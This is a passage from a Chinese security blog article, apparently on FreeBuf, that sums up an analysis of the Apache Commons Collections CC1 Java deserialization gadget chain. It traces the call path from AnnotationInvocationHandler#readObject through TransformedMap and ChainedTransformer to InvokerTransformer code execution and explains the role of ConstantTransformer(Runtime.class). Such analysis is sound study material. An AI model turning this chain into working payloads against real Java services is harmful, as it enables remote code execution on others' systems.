返回到AbstractInputCheckedMapDecorator的子类MapEntrysetValue()方法

返回到AbstractIteratorDecoratorhasNext()方法

返回到unserialize()方法结束

5 总结

5.1 涉及的各个对象的属性值

反序列化的AnnotationInvocationHandler对象中存在很多其他对象,存储在不同对象的属性中,反序列时会被使用。

  • AnnotationInvocationHandler对象的属性Map<String, Object> memberValues的值为TransformedMap;

  • TransformedMap对象的属性Transformer valueTransformer的值为ChainedTransformer;

  • hainedTransformer对象的属性Transformer[] iTransformers的值为列表,元素有4个:1个ConstantTransformer、3个InvokerTransformer。

5.2 不同Transformer对象调用不同transformer()方法

其中Transformer类型的对象都可以调用transformer()方法,只是不同的Transformer对象调用不同的transformer()方法。

因为都重写了对应的transformer()方法。

  • ChainedTransformer对象调用transformer()方法,用来遍历链中的元素,并调用每个元素的transformer()方法,并将前面一个元素的返回结果当做后面一个元素.transformer()方法的参数。

  • ConstantTransformer对象调用transformer()方法,返回一个固定值,该值为其构造方法传入,在此链中为Runtime.class

  • InvokerTransformer对象调用transformer()方法,用来执行任意方法

5.3 恶意代码触发的方法调用链

sun.reflect.annotation.AnnotationInvocationHandler#readObject
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.functors.ChainedTransformer#transform
    org.apache.commons.collections.functors.ConstantTransformer#transform
    org.apache.commons.collections.functors.InvokerTransformer#transform
    org.apache.commons.collections.functors.InvokerTransformer#transform
    org.apache.commons.collections.functors.InvokerTransformer#transform
     !!代码执行!! 
// 返回
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue

5.4 为什么new ConstantTransformer(Runtime.class)的transformer可以解决了 runtime对象无法传入的问题

这里其实是因为runtime对象是ChainedTransformer链执行transform()方法时,创建出来的,不需要我们手动创建传入。

这里其实是另一个问题,即:下述代码中memberValue.setValue()按流程来说,应该传入runtime对象才对,为什么这里不需要了,使用AnnotationTypeMismatchExceptionProxy对象也行??

memberValue.setValue(
        new AnnotationTypeMismatchExceptionProxy(
            value.getClass() + "[" + value + "]").setMember(
                annotationType.members().get(name)));

首先明确以下,memberValue.setValue()中传入的值不出意外的话会传递到最终的transform()方法。

而在这里,不管memberValue.setValue()中不管传入什么,后面代码都会执行到ChainedTransformer链,而ChainedTransformer链中存在一个ConstantTransformer类型的Transformer对象,它可以接受任意的object,但是都会返回固定值(这里就是Runtime.class),给到了后面的transform()方法当做参数,相当于截断了AnnotationTypeMismatchExceptionProxy对象传递到最终的transform()方法。

即上述方法调用链中:

AnnotationInvocationHandler#readObject
...memberValue.setValue() // 参数:AnnotationTypeMismatchExceptionProxy
AbstractInputCheckedMapDecorator.MapEntry#setValue // 参数 Annota...Proxy
TransformedMap#checkSetValue  // 参数 Annota...Proxy
ChainedTransformer#transform  // 参数 Annota...Proxy
    ConstantTransformer#transform // 参数 Annota...Proxy
    InvokerTransformer#transform  //  参数 Runtime.class  这里发生了变化
    InvokerTransformer#transform
    InvokerTransformer#transform
    !!代码执行!!

ConstantTransformer YYDS!!

6 参考链接

JAVA反序列化—CC链的前世今生 - FreeBuf网络安全行业门户

Java反序列化:CC1链 详解_cc链-CSDN博客

https://blog.csdn.net/weixin_49047967/article/details/134763883

Java反序列化:CC1链 详解_cc链-CSDN博客

CC链 1-7 分析 - 先知社区 (aliyun.com)

Java安全入门(二)——CC链1 分析+详解_cc1利用链-CSDN博客

# web安全 # 漏洞分析 # Java代码审计 # Java反序列化漏洞分析 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录